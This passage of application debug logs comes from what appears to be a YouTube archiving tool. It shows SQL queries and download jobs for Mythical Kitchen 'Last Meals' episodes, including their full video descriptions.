~U[2026-03-28 00:48:49Z], ~U[2026-03-28 00:48:49Z], "Today, Josh is cooking Kallmekris's last meal on Earth.\n\nCheck out KallmeKris on YouTube and TikTok!\nhttps://www.youtube.com/@kallmekris\nhttps://www.tiktok.com/@kallmekris\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Kallmekris Eats Her Last Meal", "https://www.youtube.com/watch?v=LqQ-Z-kIRLM", "LqQ-Z-kIRLM", 1561, false, "/downloads/Last Meals/2022-12-06 Kallmekris Eats Her Last Meal/Kallmekris Eats Her Last Meal [LqQ-Z-kIRLM].mp4", false, 1, ~U[2022-12-06 11:00:17Z]] 20:48:49.726 [debug] QUERY OK source="sources" db=0.3ms idle=592.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:49.727 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:49.728 [debug] QUERY OK source="media_items" db=0.4ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [88] 20:48:49.728 [info] Kicking off download for media item #88 (LqQ-Z-kIRLM) 20:48:49.731 [debug] QUERY OK source="tasks" db=0.3ms idle=3.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [87, 88, ~U[2026-03-28 00:48:49Z], ~U[2026-03-28 00:48:49Z]] 20:48:49.731 [debug] Current batch of media processed. Will check again in 1000ms 20:48:50.731 [debug] Current batch of media processed. Will check again in 1000ms 20:48:51.732 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Jacob Collier eats his last meal.\n\nShop the Last Meals Bar Set: https://mythical.com/collections/new-arrivals/products/last-meals-bar-set\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Jacob's Last Meal\n0:58 Have You Thought About Your Last Meal Before?\n1:49 How Often Do You Think About Death?\n2:24 1st Course\n4:10 Accessing Creative Flow\n6:16 Hearing The Music In Food\n8:23 Twisting The World Around Your\n9:50 From Isolation To Collaboration\n11:42 2nd Course\n14:10 The Creative Adult Is The Child Who Survived\n16:51 What If Play Was The Point of Life?\n17:50 Two Currencies: Time & Attention\n18:58 Holding Grammy Records\n20:07 The Right Kind Of Audience\n21:53 3rd Course\n23:01 The Universal Frequency Of The Universe\n25:53 Is It Rude To Call Someone A Genius?\n27:35 Pieces Of Our Parents\n29:51 Exploring The Darkness Within Us\n31:28 4th Course\n34:36 Celebrating Quincy Jones\n36:40 What Do You Think Happens When You Die?\n37:12 The Audience Choir\n40:23 Lightning Round\n42:28 Jacob's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2695, "filename" => "/downloads/Last Meals/2025-02-20 Jacob Collier Eats His Last Meal/Jacob Collier Eats His Last Meal [PGLmrQerS6I].mp4", "id" => "PGLmrQerS6I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=PGLmrQerS6I", "playlist_index" => 74, "timestamp" => 1740049238, "title" => "Jacob Collier Eats His Last Meal", "upload_date" => "20250220"} 20:48:51.732 [debug] QUERY OK source="sources" db=0.1ms idle=675.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:51.733 [debug] QUERY OK source="sources" db=0.0ms idle=675.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:51.733 [debug] QUERY OK source="media_items" db=0.1ms idle=675.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-20 11:00:38Z], 1] 20:48:51.734 [debug] QUERY OK source="media_items" db=0.5ms idle=675.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Jacob Collier eats his last meal.\n\nShop the Last Meals Bar Set: https://mythical.com/collections/new-arrivals/products/last-meals-bar-set\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Jacob's Last Meal\n0:58 Have You Thought About Your Last Meal Before?\n1:49 How Often Do You Think About Death?\n2:24 1st Course\n4:10 Accessing Creative Flow\n6:16 Hearing The Music In Food\n8:23 Twisting The World Around Your\n9:50 From Isolation To Collaboration\n11:42 2nd Course\n14:10 The Creative Adult Is The Child Who Survived\n16:51 What If Play Was The Point of Life?\n17:50 Two Currencies: Time & Attention\n18:58 Holding Grammy Records\n20:07 The Right Kind Of Audience\n21:53 3rd Course\n23:01 The Universal Frequency Of The Universe\n25:53 Is It Rude To Call Someone A Genius?\n27:35 Pieces Of Our Parents\n29:51 Exploring The Darkness Within Us\n31:28 4th Course\n34:36 Celebrating Quincy Jones\n36:40 What Do You Think Happens When You Die?\n37:12 The Audience Choir\n40:23 Lightning Round\n42:28 Jacob's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jacob Collier Eats His Last Meal", "45fce602-aba1-4118-8e43-087eaa12653c", "https://www.youtube.com/watch?v=PGLmrQerS6I", false, "PGLmrQerS6I", 2695, false, 74, "/downloads/Last Meals/2025-02-20 Jacob Collier Eats His Last Meal/Jacob Collier Eats His Last Meal [PGLmrQerS6I].mp4", false, false, 1, [], 0, ~U[2025-02-20 11:00:38Z], ~U[2026-03-28 00:48:51Z], ~U[2026-03-28 00:48:51Z], "Today, Jacob Collier eats his last meal.\n\nShop the Last Meals Bar Set: https://mythical.com/collections/new-arrivals/products/last-meals-bar-set\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Jacob's Last Meal\n0:58 Have You Thought About Your Last Meal Before?\n1:49 How Often Do You Think About Death?\n2:24 1st Course\n4:10 Accessing Creative Flow\n6:16 Hearing The Music In Food\n8:23 Twisting The World Around Your\n9:50 From Isolation To Collaboration\n11:42 2nd Course\n14:10 The Creative Adult Is The Child Who Survived\n16:51 What If Play Was The Point of Life?\n17:50 Two Currencies: Time & Attention\n18:58 Holding Grammy Records\n20:07 The Right Kind Of Audience\n21:53 3rd Course\n23:01 The Universal Frequency Of The Universe\n25:53 Is It Rude To Call Someone A Genius?\n27:35 Pieces Of Our Parents\n29:51 Exploring The Darkness Within Us\n31:28 4th Course\n34:36 Celebrating Quincy Jones\n36:40 What Do You Think Happens When You Die?\n37:12 The Audience Choir\n40:23 Lightning Round\n42:28 Jacob's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jacob Collier Eats His Last Meal", "https://www.youtube.com/watch?v=PGLmrQerS6I", "PGLmrQerS6I", 2695, false, "/downloads/Last Meals/2025-02-20 Jacob Collier Eats His Last Meal/Jacob Collier Eats His Last Meal [PGLmrQerS6I].mp4", false, 1, ~U[2025-02-20 11:00:38Z]] 20:48:51.734 [debug] QUERY OK source="sources" db=0.0ms idle=596.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:51.734 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:51.734 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89] 20:48:51.734 [info] Kicking off download for media item #89 (PGLmrQerS6I) 20:48:51.735 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [88, 89, ~U[2026-03-28 00:48:51Z], ~U[2026-03-28 00:48:51Z]] 20:48:51.735 [debug] Current batch of media processed. Will check again in 1000ms 20:48:52.735 [debug] Current batch of media processed. Will check again in 1000ms 20:48:53.737 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Noah Kahan eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Noah's Last Meal\n0:20 When Hating Wednesdays Gets You In Therapy\n2:30 Have You Thought About Your Last Meal Before?\n3:18 How Often Do You Think About Death?\n4:26 1st Course\n7:28 Vermont & New Hampshire\n8:13 Men Who Cry \n10:20 Toxic Masculinity Face-Off\n15:56 It's Not A Song, It's How I Feel\n18:30 Between Stick Season & The Great Divide\n22:35 2nd Course (A Real Life Krabby Patty)\n25:23 The Artist & Listener Relationship\n28:04 Support From Parents\n30:08 Medication & Creative Expression\n37:11 3rd Course (Strange Darling)\n42:08 A Noah Kahan Movie??\n44:13 Shape Of My Shadow\n47:55 The Busyhead Project\n50:30 4th Course\n53:22 Songs That Bring You To A Moment In Time\n55:50 Memories Of Carlo\n1:00:35 What Do You Think Happens When You Die?\n1:02:18 Lightning Round\n1:04:53 Noah's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 3941, "filename" => "/downloads/Last Meals/2026-02-17 Noah Kahan Eats His Last Meal/Noah Kahan Eats His Last Meal [uEQ6z0rbn30].mp4", "id" => "uEQ6z0rbn30", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=uEQ6z0rbn30", "playlist_index" => 75, "timestamp" => 1771326091, "title" => "Noah Kahan Eats His Last Meal", "upload_date" => "20260217"} 20:48:53.738 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=679.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:53.738 [debug] QUERY OK source="sources" db=0.2ms idle=680.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:53.739 [debug] QUERY OK source="media_items" db=0.5ms idle=681.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 11:01:31Z], 1] 20:48:53.744 [debug] QUERY OK source="media_items" db=4.0ms idle=682.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Noah Kahan eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Noah's Last Meal\n0:20 When Hating Wednesdays Gets You In Therapy\n2:30 Have You Thought About Your Last Meal Before?\n3:18 How Often Do You Think About Death?\n4:26 1st Course\n7:28 Vermont & New Hampshire\n8:13 Men Who Cry \n10:20 Toxic Masculinity Face-Off\n15:56 It's Not A Song, It's How I Feel\n18:30 Between Stick Season & The Great Divide\n22:35 2nd Course (A Real Life Krabby Patty)\n25:23 The Artist & Listener Relationship\n28:04 Support From Parents\n30:08 Medication & Creative Expression\n37:11 3rd Course (Strange Darling)\n42:08 A Noah Kahan Movie??\n44:13 Shape Of My Shadow\n47:55 The Busyhead Project\n50:30 4th Course\n53:22 Songs That Bring You To A Moment In Time\n55:50 Memories Of Carlo\n1:00:35 What Do You Think Happens When You Die?\n1:02:18 Lightning Round\n1:04:53 Noah's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Noah Kahan Eats His Last Meal", "5a04adc6-98db-44b0-8054-b33cc7c37f4e", "https://www.youtube.com/watch?v=uEQ6z0rbn30", false, "uEQ6z0rbn30", 3941, false, 75, "/downloads/Last Meals/2026-02-17 Noah Kahan Eats His Last Meal/Noah Kahan Eats His Last Meal [uEQ6z0rbn30].mp4", false, false, 1, [], 0, ~U[2026-02-17 11:01:31Z], ~U[2026-03-28 00:48:53Z], ~U[2026-03-28 00:48:53Z], "Today, Noah Kahan eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Noah's Last Meal\n0:20 When Hating Wednesdays Gets You In Therapy\n2:30 Have You Thought About Your Last Meal Before?\n3:18 How Often Do You Think About Death?\n4:26 1st Course\n7:28 Vermont & New Hampshire\n8:13 Men Who Cry \n10:20 Toxic Masculinity Face-Off\n15:56 It's Not A Song, It's How I Feel\n18:30 Between Stick Season & The Great Divide\n22:35 2nd Course (A Real Life Krabby Patty)\n25:23 The Artist & Listener Relationship\n28:04 Support From Parents\n30:08 Medication & Creative Expression\n37:11 3rd Course (Strange Darling)\n42:08 A Noah Kahan Movie??\n44:13 Shape Of My Shadow\n47:55 The Busyhead Project\n50:30 4th Course\n53:22 Songs That Bring You To A Moment In Time\n55:50 Memories Of Carlo\n1:00:35 What Do You Think Happens When You Die?\n1:02:18 Lightning Round\n1:04:53 Noah's Last Words\n\nPick up official 